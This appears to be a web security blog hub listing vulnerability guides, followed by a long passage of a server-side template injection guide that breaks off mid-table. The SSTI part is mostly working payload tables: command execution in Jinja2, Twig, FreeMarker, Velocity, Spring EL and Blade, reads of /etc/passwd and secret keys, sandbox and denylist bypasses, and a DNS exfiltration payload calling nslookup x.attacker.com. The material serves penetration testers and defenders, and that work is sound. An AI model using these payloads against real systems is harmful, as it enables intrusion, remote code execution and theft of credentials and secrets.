Web Security Hub 2026

Complete Web Vulnerability Prevention Hub Every web vulnerability guide on the site, grouped by class, with the attacks and the defenses side by side. πŸ”₯ Most-read web security guides SSRF Prevention β€” cloud metadata, filter bypasses, webhook callbacks XSS Prevention β€” context-aware payloads, CSP/WAF bypasses IDOR & Broken Object Access β€” enumeration, bypasses, and a testing checklist Bug Bounty Methodology β€” where these bugs turn into paid findings OSINT β€” the recon that feeds every web assessment 🎯 Core Web Vulnerabilities Injection Attacks XSS Prevention Guide ...

October 17, 2026 Β· 3 min Β· Carl Sampson

XSS Payloads by Context: Filter, WAF & CSP Bypasses (+ Prevention Checklist)

Overview πŸ†• Updated September 12, 2026 β€” added the Django admin URLField stored XSS (CVE-2026-15920) and how copy-pasting an adjacent safe branch dropped the scheme check. A practitioner’s reference for Cross-Site Scripting β€” attack surface, context-aware payloads, filter/WAF/CSP bypass techniques, framework-specific vulnerabilities, real-world chains, and detection/prevention. Table of Contents Fundamentals Attack Surface & Entry Points Context-Aware Payloads Filter Bypass Techniques WAF Bypasses CSP Bypass Techniques Mutation XSS (mXSS) DOM Clobbering & Prototype Pollution Framework-Specific XSS AngularJS Sandbox Escapes postMessage & DOM XSS SVG, PDF & File Upload XSS Blind XSS Weaponized XSS Payloads Polyglots Real-World Exploitation Chains Tools & Automation Detection & Prevention Payload Quick Reference CVE Reference 1. Fundamentals XSS occurs when attacker-controlled input is rendered in a victim’s browser as executable code (JavaScript, or markup that leads to JavaScript execution). The victim’s browser runs the injected code with the origin’s privileges β€” same-origin access to cookies, DOM, API tokens, and session state. ...

April 10, 2026 Β· Updated October 22, 2026 Β· 20 min Β· Carl Sampson

Prevent SSRF: Cloud Metadata Theft, Filter Bypasses & Webhook Callbacks

Comprehensive SSRF Guide πŸ†• Updated November 2, 2026: added a Recent SSRF CVEs table (vLLM, PipesHub, Next.js, Axios, Angular SSR, SonicWall SMA1000), along with fixed versions and the lesson from each one. A practitioner’s reference for Server-Side Request Forgery β€” attack surface, exploitation techniques, bypass methods, real-world chains, and detection/prevention. 🎯 Play the bypass game: Try these bypasses hands-on in the SSRF Target Simulator β€” reach the cloud metadata endpoint past a filter using decimal/hex IPs, IPv6, and DNS rebinding. 100% simulated, no real requests. ...

April 10, 2026 Β· Updated November 2, 2026 Β· 35 min Β· Carl Sampson

SQL Injection Payloads: Auth Bypass (ffifdyop), UNION, Blind & WAF Evasion

Overview πŸ†• Updated September 12, 2026 β€” added the LangGraph checkpointer chain (CVE-2025-67644 β†’ CVE-2026-28277): SQL injection through an AI agent state store into msgpack deserialization RCE. A practitioner’s reference for SQL Injection β€” attack classes, exploitation techniques, database-specific payloads, WAF bypass methods, ORM/NoSQL variants, real-world CVEs, and detection/prevention. Table of Contents Fundamentals Attack Classes Entry Points & Injection Contexts DBMS Fingerprinting Authentication Bypass Union-Based Injection Error-Based Injection Boolean Blind Injection Time-Based Blind Injection Out-of-Band (OOB) Injection Second-Order SQL Injection Stacked Queries & Polyglots WAF Bypass Techniques Database-Specific Payloads ORM Injection NoSQL Injection SQLi to RCE Header, Cookie & JSON-Body Injection Constraint-Based Attacks Real-World CVEs Tools & Automation Detection & Prevention Payload Quick Reference 1. Fundamentals SQL Injection (SQLi) occurs when an attacker can influence the SQL statements that an application sends to its database. The vulnerability arises from the unsafe concatenation of untrusted input into a query string, allowing the attacker to break out of the intended data context and execute attacker-controlled SQL. SQLi has sat in the OWASP Top Ten since its inception and remains one of the highest-impact classes of web vulnerability despite decades of awareness. ...

April 10, 2026 Β· Updated October 18, 2026 Β· 24 min Β· Carl Sampson

CSRF: Exploitation, Tokens & SameSite Defense

Comprehensive CSRF Guide πŸ†• Updated September 12, 2026 β€” added the NASA AIT-GUI command-bus CSRF chain and a reminder that simple content types skip preflight entirely. A practitioner’s reference for Cross-Site Request Forgery β€” attack surface, exploitation techniques, SameSite and token bypasses, real-world chains, and detection/prevention. Mixing it up with SSRF? CSRF vs SSRF: Key Differences, Examples & Defenses puts the two side by side. Table of Contents Fundamentals Attack Surface & Preconditions Attack Delivery Techniques Content-Type & JSON CSRF SameSite Cookie Model SameSite Bypass Techniques CSRF Token Bypasses Referer / Origin Check Bypasses Method Override & Verb Tampering Login & Logout CSRF CORS Misconfiguration Chains Clickjacking Overlap Real-World Cases & CVEs Exploitation Chains Tools & Automation Detection & Testing Methodology Prevention & Defense in Depth Payload Quick Reference 1. Fundamentals Cross-Site Request Forgery (CSRF / XSRF / β€œsea-surf”) is an attack that tricks an authenticated user’s browser into submitting a state-changing request to a target application. The victim’s browser automatically attaches ambient credentials β€” cookies, HTTP Basic auth, client certificates, Kerberos tickets, IP-based authorization β€” so the target application cannot distinguish a forged request from a legitimate one. ...

April 10, 2026 Β· Updated October 21, 2026 Β· 29 min Β· Carl Sampson

IDOR: Finding & Exploiting Broken Object Access (+ Testing Checklist)

Comprehensive IDOR Guide πŸ†• Updated September 12, 2026 β€” added the Frappe/ERPNext Document Follow chain (CVE-2026-66000/66058/66059) and why subscribe-style features create standing grants nobody re-checks. A practitioner’s reference for Insecure Direct Object Reference (IDOR) and Broken Object Level Authorization (BOLA) β€” attack surface, enumeration patterns, bypass techniques, real-world writeups, detection workflow, and prevention. Related guides: BOLA, BFLA & BOPLA checklist β€” the API version of the checklist in section 20 Β· Authorization & Access Control β€” the bigger picture IDOR sits inside Β· API Security β€” BOLA tops the OWASP API Top 10 Β· Bug Bounty Methodology β€” where IDOR testing fits a real hunt. ...

April 10, 2026 Β· Updated November 9, 2026 Β· 30 min Β· Carl Sampson

RCE: Remote Code Execution Attacks & Defense

Comprehensive RCE Guide πŸ†• Updated September 12, 2026 β€” added the SharePoint BDC chain (CVE-2026-63520 + CVE-2026-55040), including why the two public gadget chains break signature-based detection. A practitioner’s reference for Remote Code Execution β€” vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 critical CVEs including CVE-2025-53652 (Jenkins), CVE-2026-32191 (Microsoft Bing), CVE-2026-34197 (ActiveMQ), and modern command injection + expression language techniques. ...

April 10, 2026 Β· Updated November 2, 2026 Β· 36 min Β· Carl Sampson

XXE Injection: Payloads, Exploitation & Defense

Comprehensive XXE Guide πŸ†• Updated November 11, 2026: added an XXE payload cheat sheet and the XXE bugs being exploited right now β€” Cisco BroadWorks and N-able N-central. Updated September 12, 2026 β€” added the GeoNetwork pre-auth RCE chain (CVE-2026-63219 β†’ CVE-2026-58400) and why XSLT processor configuration is a security boundary. A practitioner’s reference for XML External Entity injection β€” fundamentals, parser quirks, in-band and out-of-band exfiltration, parameter entity chains, file-format vectors, real-world CVEs, tooling, and hardening. ...

April 10, 2026 Β· Updated November 11, 2026 Β· 28 min Β· Carl Sampson

Insecure Deserialization to RCE: Gadget Chains in Java, Python, PHP & .NET

Comprehensive Insecure Deserialization Guide πŸ†• Updated September 12, 2026 β€” added the Telerik UI padding-oracle chain (CVE-2026-13181/13182/13183): no MAC, a JSON decoder at the end, and why the key source is always the first question. A practitioner’s reference for insecure deserialization β€” language-specific attack surface, gadget chain mechanics, real-world CVE chains, tools, and detection/prevention. 🧩 See it visually: Explore gadget chains and disassemble serialized blobs in the Deserialization Gadget Visualizer β€” trace readObject() β†’ Runtime.exec and read Java/pickle/PHP streams byte by byte, 100% in your browser. ...

April 10, 2026 Β· Updated October 17, 2026 Β· 38 min Β· Carl Sampson

GraphQL Security: Introspection, Abuse & Defense

Comprehensive GraphQL Security Guide πŸ†• Updated September 12, 2026 β€” added an airline GraphQL BOLA case study: sequential IDs, resolver-level authorization gaps, and why introspection removes the grace period. A practitioner’s reference for attacking and defending GraphQL APIs β€” discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, CSRF/CSWSH, engine-specific quirks, and detection/prevention. Table of Contents Fundamentals Discovery & Fingerprinting Introspection Schema Recovery Without Introspection Query & Data Extraction Mutations & Mass Assignment Authorization Flaws (BOLA / BFLA / IDOR) Injection Through GraphQL Batching Attacks & Aliases Denial of Service CSRF & CSWSH Subscriptions & WebSockets Engine-Specific Notes (Apollo, Hasura, graphql-java, async-graphql, Mercurius) Notable CVEs & Real-World Chains Tooling Detection & Prevention Payload Quick Reference 1. Fundamentals GraphQL is a query language and server runtime for APIs, originally developed at Facebook and open-sourced in 2015. Instead of the multiple fixed endpoints of a REST API, a GraphQL service exposes a single endpoint that accepts typed queries and returns exactly the fields the client asks for. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 24 min Β· Carl Sampson

API Security Testing Checklist & Guide: OWASP API Top 10, BOLA, GraphQL and JWT

API security testing checklist and guide Testing an API right now? Jump to the API security testing checklist: recon, auth and every OWASP API Top 10 risk as tick boxes. For authorization alone, the BOLA, BFLA & BOPLA testing checklist is the two-account, copy-paste version. πŸ†• Updated September 12, 2026 β€” added the Flowise case study: AI workflow APIs that execute user code by design, and why insufficient patches deserve a re-test. ...

April 10, 2026 Β· Updated October 23, 2026 Β· 34 min Β· Carl Sampson

Authorization & Access Control: Flaws & Fixes

Comprehensive Authorization & Access Control Guide πŸ†• Updated September 12, 2026 β€” added the SolarWinds Web Help Desk SAML bypass (CVE-2026-28323): when parameter presence selects the auth path, the attacker picks it. A practitioner’s reference for Broken Access Control (OWASP A01) β€” the models, bug classes, bypass techniques, real-world chains, and detection/prevention patterns that matter in modern web and API testing. Includes privilege escalation CVEs disclosed through 2026. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 privilege escalation CVEs including CVE-2025-26244 (DeimosC2), CVE-2026-25253+ (OpenClaw chain), CVE-2025-53767 (Azure OpenAI) from automated security intelligence. ...

April 10, 2026 Β· Updated October 19, 2026 Β· 39 min Β· Carl Sampson

Python Security: CVEs, Django & Flask Hardening

Comprehensive Python Security Guide πŸ†• Updated November 2, 2026: added a 2026 security advisory table for Python web frameworks covering Flask, FastAPI, Starlette, Tornado, aiohttp, Sanic, Litestar, Werkzeug, Django and Falcon. A practitioner’s defensive reference for securing Python applications β€” dangerous APIs, deserialization pitfalls, framework-specific risks, supply chain attacks, AI/ML security threats, 2026 CVEs, advanced static analysis, and hardening patterns. Enhanced with cutting-edge threat intelligence and defensive techniques. Table of Contents Fundamentals Dangerous Built-in APIs Insecure Deserialization Command & Code Injection SSRF & URL Parsing in Python Path Traversal, Tarfile, Zipfile Cryptography & Randomness Flask Security Django Security FastAPI & Other Frameworks Jinja2 & Server-Side Template Injection Package Supply Chain Attacks LLM / AI Framework CVEs ML Model Deserialization Attacks Notable Python CVEs (Stdlib) Static Analysis & SAST Secure Coding Patterns Hardening Checklist Tool Reference Detection Quick Reference Python web framework security advisories, 2026 Which of the big Python web frameworks actually had serious advisories this year? I built this table from each project’s GitHub Security Advisories and NVD. Severity is the GitHub-reviewed rating, so NVD’s score can differ. It lists every high or critical advisory published from July 1, 2026 onward, and for the frameworks without one, it says so. ...

May 2, 2026 Β· Updated November 2, 2026 Β· 41 min Β· Carl Sampson

BOLA, BFLA & BOPLA: The API Authorization Testing Checklist

The quick-reference authorization checklist Broken authorization is the number one bug class in APIs, and it has three faces. This is the scannable checklist I run through when I’m testing an API for it β€” definitions, setup, and copy-paste test steps for each. For the full exploitation depth (every bypass primitive, parser quirks, real CVEs) see the API Security guide; for the rest of an API test (recon, auth, rate limits, GraphQL, JWT) use its full API security testing checklist. This page is the authorization checklist that sits next to it. ...

October 17, 2026 Β· 5 min Β· Carl Sampson

Authentication Security: Attacks & Hardening

Comprehensive Authentication Guide πŸ†• Updated September 12, 2026 β€” added the NetScaler SAML canonicalization overflow (CVE-2026-8452) and why pre-signature-verification parsing is every SAML SP’s unauthenticated attack surface. A practitioner’s reference for authentication security β€” protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications. Related guides: Authorization & Access Control β€” what happens after login, and where most of the paid bugs are Β· IDOR β€” the authorization bug you’ll hit first Β· Authentication Bypass β€” the attack-side view of everything below Β· Bug Bounty Methodology β€” where auth testing fits a real hunt. ...

April 10, 2026 Β· Updated November 9, 2026 Β· 21 min Β· Carl Sampson

JWT Attacks: alg=none, Key Confusion & kid Injection (+ RFC 8725 Checklist)

Overview πŸ†• Updated September 12, 2026 β€” added the PAN-OS/Panorama CAS algorithm-confusion bypass (CVE-2026-0265) and how a config precondition leaking pre-auth turns patching into a real priority list. A practitioner’s reference for JSON Web Token security – vulnerabilities, exploitation techniques, attack vectors, implementation flaws, and defense strategies. Covers algorithm confusion, signature bypass, header injection, key confusion, library-specific issues, cryptographic attacks, attack chaining, and secure implementation patterns. πŸ§ͺ Try it live: Practice these attacks hands-on in the JWT Attack Playground β€” forge alg:none, RS256β†’HS256 algorithm confusion, and weak-secret tokens, then fire them at a configurable verifier to see what a vulnerable vs. secure server does. Runs 100% in your browser. ...

April 10, 2026 Β· Updated October 18, 2026 Β· 17 min Β· Carl Sampson

SSTI to RCE: Payloads for Jinja2, Twig, FreeMarker, Thymeleaf & Velocity

Overview πŸ†• Updated September 12, 2026 β€” added the Thymeleaf tab-character sandbox bypass (CVE-2026-40478) and the audit question that actually determines exposure. A practitioner’s reference for Server-Side Template Injection β€” template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Table of Contents Fundamentals Detection & Identification Template Engine Exploitation Framework-Specific Attacks Payload Development Advanced Exploitation Bypass Techniques Testing Methodology Secure Implementation Detection & Prevention CVE Reference 1. Fundamentals SSTI Attack Surface Template Context Risk Level Common Locations User Input Rendering Critical Email templates, reports, dynamic pages Configuration Files High Template-based configs, dynamic routing Error Messages Medium Custom error pages, debug output Log Messages Low Log formatting, audit trails Email Workflow Templates Critical Notification templates, marketing emails (Shopify Return Magic, Fides) Recipe/CMS Content Fields Critical User-editable content rendered by template engines (Tandoor Recipes, Alfresco) JMS/Message Headers High Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) Template Engine Landscape Engine Language Popularity Exploitation Difficulty Jinja2 Python Very High Medium Twig PHP High Medium FreeMarker Java High High Velocity Java Medium High Thymeleaf Java Medium Medium Smarty PHP Medium Low Mako Python Low Low Handlebars Node.js Very High Medium Pug (Jade) Node.js High Medium Go html/template Go Medium High (context-dependent) Go text/template Go Medium Medium Jelly Java Medium (ServiceNow) Medium MVEL Java Low Low Mustache Multi-language Medium High (logicless by design) Tornado Python Medium Medium 2. Detection & Identification Detection Methodology SSTI DETECTION FLOW: 1. Identify template injection points 2. Test mathematical expressions 3. Analyze error messages 4. Determine template engine 5. Craft engine-specific payloads 6. Test blind detection via time-based or OOB channels Basic Detection Payloads Test Case Payload Expected Result Mathematical ${7*7} 49 if vulnerable Mathematical {​{7*7}} 49 if vulnerable Mathematical <%=7*7%> 49 if vulnerable String Concatenation ${'a'+'b'} ab if vulnerable Function Call ${T(java.lang.System).getProperty('user.name')} Username if Spring EL Go Detection {​{ . }} Memory address of passed object if Go template Handlebars Detection {​{this}} [object Object] if Handlebars FreeMarker String ${"Hello " + "World"} Hello World if FreeMarker FreeMarker Array ${["one", "two", "three"][1]} two if FreeMarker FreeMarker Length ${"test"?length} 4 if FreeMarker FreeMarker Date ${.now?string("yyyy-MM-dd")} Current date if FreeMarker Jelly (ServiceNow) <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> 1337 in error message Thymeleaf Inline [[${7*7}]] 49 if Thymeleaf expression inlining Template Engine Fingerprinting IDENTIFICATION DECISION TREE: β”œβ”€β”€ {​{7*7}} = 49 β”‚ β”œβ”€β”€ {​{this}} = [object Object] β†’ Handlebars (Node.js) β”‚ β”œβ”€β”€ Jinja2 (Python) β”‚ β”œβ”€β”€ Twig (PHP) β”‚ └── Nunjucks (Node.js) β”œβ”€β”€ ${7*7} = 49 β”‚ β”œβ”€β”€ ${"test"?length} = 4 β†’ FreeMarker (Java) β”‚ β”œβ”€β”€ ${T(java.lang.Runtime)} works β†’ Spring EL (Java) β”‚ └── Velocity (Java) β”œβ”€β”€ <%=7*7%> = 49 β”‚ β”œβ”€β”€ ERB (Ruby) β”‚ └── ASP Classic β”œβ”€β”€ {7*7} = 49 β”‚ └── Smarty (PHP) β”œβ”€β”€ {​{ . }} = memory address β”‚ └── Go html/template or text/template β”œβ”€β”€ [[${7*7}]] = 49 β”‚ └── Thymeleaf (Java) expression inlining └── <g:evaluate>...</g:evaluate> executes └── Jelly (ServiceNow) Blind SSTI Detection Method Payload Example Verification Time-based (Jinja2) {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} Response delay Time-based (FreeMarker) <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} DNS logs HTTP Callback Jinja2 urllib.request.urlopen to attacker URL HTTP logs 3. Template Engine Exploitation Jinja2 (Python) Exploitation Attack Vector Payload Impact Basic RCE {​{config.__class__.__init__.__globals__['os'].popen('id').read()}} Command execution Subprocess {​{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} Command execution File Read {​{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} File access Config Access {​{config.SECRET_KEY}} Sensitive data exposure Lipsum Shorthand {​{lipsum.__globals__}} Bypass length limits Cycler RCE {​{cycler.__init__.__globals__.os.popen('id').read()}} Shorter RCE payload Hex-encoded attr() {​{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} Filter bypass RCE (CVE-2025-23211) Warning class import {​% for s in ().__class__.__base__.__subclasses__() %}{​% if "warning" in s.__name__ %}{​{s()._module.__builtins__['__import__']('os').popen("env").read()}}{​% endif %}{​% endfor %} RCE via warning subclass (Fides advisory) Twig (PHP) Exploitation TWIG ATTACK PATTERNS: β”œβ”€β”€ Filter Abuse β”‚ β”œβ”€β”€ {​{_self.env.registerUndefinedFilterCallback("exec")}} β”‚ β”œβ”€β”€ {​{_self.env.getFilter("id")}} β”‚ └── {​{["id"]|filter("system")}} β”œβ”€β”€ Function Injection β”‚ β”œβ”€β”€ {​{_self.env.registerUndefinedFunction("exec")}} β”‚ └── {​{_self.env.getFunction("system")}} β”œβ”€β”€ Object Injection β”‚ β”œβ”€β”€ {​{app.request.query.get('cmd')|passthru}} β”‚ └── {​{dump(app)}} (information disclosure) └── Escape Handler Abuse (Grav CMS β€” GHSA-2m7x-c7px-hp58) β”œβ”€β”€ {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} └── {​{ ['id'] | escape('system', 'system') }} (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled) FreeMarker (Java) Exploitation Technique Payload Description Object Creation <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Command execution Static Method Call ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} Process creation File System Access <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> File manipulation ?lower_abc Filter Bypass ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} Reconstruct β€œfreemarker.template.utility.Execute” char-by-char to bypass keyword blocklists CamelContext Sandbox Escape <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} RCE even with ClassResolver sandbox enabled (Apache Camel) CamelContext Language $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) Groovy expression via Camel context Alfresco Sandbox Bypass Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) RCE in Alfresco CMS Handlebars (Node.js) Exploitation Technique Payload Description Prototype Pollution + AST Injection Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value Bypass parser validation, inject code directly into compiler Constructor Chain `{​{#with β€œs” as string toString Override + bind() Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor Full RCE without scope-defined functions (Shopify Return Magic) pendingContent Detection Pollute Object.prototype.pendingContent with test string Detect Handlebars engine in black-box with prototype pollution Pug (Node.js) Exploitation Technique Payload Description AST Injection via block Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} XSS/content injection via prototype pollution Code Injection via line Pollute Object.prototype.block.type = "Code" with body containing RCE payload Command execution via AST manipulation Thymeleaf (Java) Exploitation THYMELEAF ATTACK PATTERNS: β”œβ”€β”€ Expression Preprocessing Double-Eval β”‚ β”œβ”€β”€ __${path}__ preprocesses user input, result evaluated as expression β”‚ β”œβ”€β”€ URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')}) β”‚ └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {}) β”œβ”€β”€ Spring Boot 3.3.4 Denylist Bypass (modzero research) β”‚ β”œβ”€β”€ Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils β”‚ β”œβ”€β”€ Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist) β”‚ β”œβ”€β”€ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β”‚ β”‚ .invokeMethod( β”‚ β”‚ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β”‚ β”‚ .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), β”‚ β”‚ "exec", "whoami") β”‚ └── Full payload reads command output via IOUtils + file write for non-blind RCE β”œβ”€β”€ CVE-2023-38286 (Spring Boot Admin) β”‚ β”œβ”€β”€ Bypass Thymeleaf blacklists via ReflectionUtils (older versions) β”‚ β”œβ”€β”€ th:with chaining: findMethod β†’ invokeMethod β†’ exec β”‚ └── Requires MailNotifier enabled + write access to env vars └── CVE-2022-46166 (Spring Boot Admin) └── RCE via variable coverage in notification templates Velocity (Java) Exploitation Technique Payload Description CamelContext RCE ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} RCE via JavaScript engine in Apache Camel Template Override Send CamelVelocityTemplate header to override default template Dynamic template injection via message headers Resource URI Override Send CamelVelocityResourceUri header pointing to file:///etc/passwd Arbitrary file disclosure MVEL (Java) Exploitation Technique Payload Description Direct RCE @{java.lang.Runtime.getRuntime().exec('id')} Direct runtime access ObjectFactory RCE @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} Via ScriptEngine Template Override Send CamelMvelTemplate header Apache Camel dynamic template Go Template Exploitation GO SSTI ATTACK PATTERNS: β”œβ”€β”€ Detection β”‚ └── {​{ . }} β€” prints memory address/object dump of passed struct β”œβ”€β”€ Data Leakage β”‚ β”œβ”€β”€ {​{ .Email }} / {​{ .Password }} β€” access struct fields β”‚ └── Leaks any exported field on the passed object β”œβ”€β”€ Method Invocation β”‚ β”œβ”€β”€ {​{ .MethodName "arg" }} β€” call exported methods on passed struct β”‚ └── Methods must be exported (capitalized) to be callable β”œβ”€β”€ Gin Framework Gadgets β”‚ └── {​{ .Writer.WriteString "<script>alert(1)</script>" }} β€” XSS via response writer β”œβ”€β”€ Echo Framework Gadgets β”‚ β”œβ”€β”€ {​{ .File "/etc/passwd" }} β€” arbitrary file read β”‚ β”œβ”€β”€ {​{ .Attachment "/etc/passwd" "passwd" }} β€” file read via attachment β”‚ β”œβ”€β”€ {​{ .Inline "/etc/passwd" "passwd" }} β€” file read inline β”‚ └── {​{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {​{ $x.Seek 1 0 }} {​{ .Stream 200 "text/plain" $x }} β€” file read with I/O control β”œβ”€β”€ Fiber Framework Gadgets β”‚ β”œβ”€β”€ {​{ .App.Shutdown }} β€” denial of service β”‚ └── {​{ .Response.SendFile "/etc/hostname" }} {​{ .Response.Body }} β€” file read via fasthttp.Response β”œβ”€β”€ Method Confusion (OnSecurity Research) β”‚ β”œβ”€β”€ If passed object type matches a method's receiver, call with custom params β”‚ β”œβ”€β”€ echo.Context.File("path") gadget for arbitrary file read β”‚ └── Gadget hunting: search imported modules for exported methods with dangerous behavior └── text/template vs html/template β”œβ”€β”€ text/template allows direct "call" for public functions β€” higher risk └── html/template restricts call β€” requires gadget chains Jelly (ServiceNow) Exploitation Technique Payload Description Template Injection Probe <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> Confirm injection via math result (1337) in error message DB Credential Theft Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() Extract database connection strings Chained Exploitation CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) Full RCE chain on ServiceNow Style Tag Bypass Embed Jelly tags inside <style> element in jvar_page_title parameter Bypass basic input validation 4. Framework-Specific Attacks Spring Framework (Java) Context Payload Impact Spring EL ${T(java.lang.Runtime).getRuntime().exec('id')} RCE SpEL Injection #{T(java.lang.System).getProperty('user.name')} Information disclosure Request Context ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} Environment access Thymeleaf Double-Eval '+${7*7}+' in Referer header with __${Referer}__ preprocessing RCE via preprocessing (modzero) MethodUtils Bypass "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) Bypass Thymeleaf denylist in Spring Boot 3.3.4+ WebAsyncManager Header Exfil Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response Non-blind RCE without outbound connections Django (Python) DJANGO TEMPLATE ATTACKS: β”œβ”€β”€ Debug Information β”‚ β”œβ”€β”€ {​{settings.SECRET_KEY}} β”‚ β”œβ”€β”€ {​{settings.DATABASES}} β”‚ └── {​{settings.DEBUG}} β”œβ”€β”€ Object Traversal β”‚ β”œβ”€β”€ {​{request.META}} β”‚ β”œβ”€β”€ {​{request.user}} β”‚ └── {​{request.session}} └── Filter Abuse β”œβ”€β”€ Custom filters with dangerous functions └── Template tag injection Laravel (PHP) Attack Type Payload Result Blade RCE @php(system('id')) @endphp Command execution Variable Access {​{$app->make('config')->get('database.default')}} Configuration disclosure Helper Function {​{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} Application introspection Apache Camel (Java) APACHE CAMEL SSTI (CVE-2020-11994): β”œβ”€β”€ Affected Components β”‚ β”œβ”€β”€ camel-freemarker (CamelFreemarkerTemplate header) β”‚ β”œβ”€β”€ camel-velocity (CamelVelocityTemplate header) β”‚ β”œβ”€β”€ camel-mvel (CamelMvelTemplate header) β”‚ └── camel-mustache (MustacheResourceUri header β€” file disclosure only) β”œβ”€β”€ Attack Pattern β”‚ β”œβ”€β”€ Override default template via message header injection β”‚ β”œβ”€β”€ Header source depends on consumer: JMS properties, HTTP headers, etc. β”‚ └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd) β”œβ”€β”€ Sandbox Bypass β”‚ β”œβ”€β”€ camelContext object exposed in template context β”‚ β”œβ”€β”€ getInjector() + getClassResolver() β†’ instantiate arbitrary classes β”‚ └── resolveLanguage("groovy") β†’ evaluate arbitrary Groovy expressions └── Impact └── RCE + Arbitrary File Disclosure across all template components Grav CMS (PHP/Twig) Attack Type Payload Result setEscaper Abuse {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {​{ ['id'] | escape('system', 'system') }} RCE by redefining escape filter to system() Root Cause Twig sandbox not enabled; unrestricted access to extension classes via template context Arbitrary callable registration 5. Payload Development Payload Construction Strategy PAYLOAD DEVELOPMENT PROCESS: β”œβ”€β”€ Environment Discovery β”‚ β”œβ”€β”€ Available classes/modules β”‚ β”œβ”€β”€ Security restrictions β”‚ └── Execution context β”œβ”€β”€ Bypass Development β”‚ β”œβ”€β”€ Filter evasion β”‚ β”œβ”€β”€ Character restrictions β”‚ └── Length limitations β”œβ”€β”€ Payload Optimization β”‚ β”œβ”€β”€ Minimize detection β”‚ β”œβ”€β”€ Maximize impact β”‚ └── Ensure reliability └── Multi-Stage Delivery β”œβ”€β”€ Store payload in persistent objects (Jinja2 config object) β”œβ”€β”€ Retrieve and execute across separate requests └── Useful when injection point has size limits (email fields) Common Payload Patterns Goal Python/Jinja2 PHP/Twig Java/FreeMarker Node.js/Handlebars Go List Classes {​{''.__class__.__mro__[1].__subclasses__()}} {​{dump()}} <#list .data_model?keys as key>${key}</#list> {​{this}} {​{ . }} Execute Command {​{cycler.__init__.__globals__.os.popen('id').read()}} {​{_self.env.registerUndefinedFilterCallback("system")}} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} Prototype pollution + AST injection N/A (gadget-dependent) Read File {​{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} {​{include('/etc/passwd')}} <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> N/A {​{ .File "/etc/passwd" }} (Echo) Size-Limited Payload Technique (Jinja2) MULTI-REQUEST PAYLOAD STAGING: 1. Store payload in config object via short injection: {​{config.update(a=request.args.get('a'))}} with URL parameter: ?a=<long RCE payload> 2. Verify storage: {​{config.a}} 3. Execute stored payload: {​{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}} Use case: SSTI in email fields with RFC-imposed size limits 6. Advanced Exploitation Blind SSTI Exploitation Detection Method Payload Verification Time-based {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} Response delay DNS Exfiltration 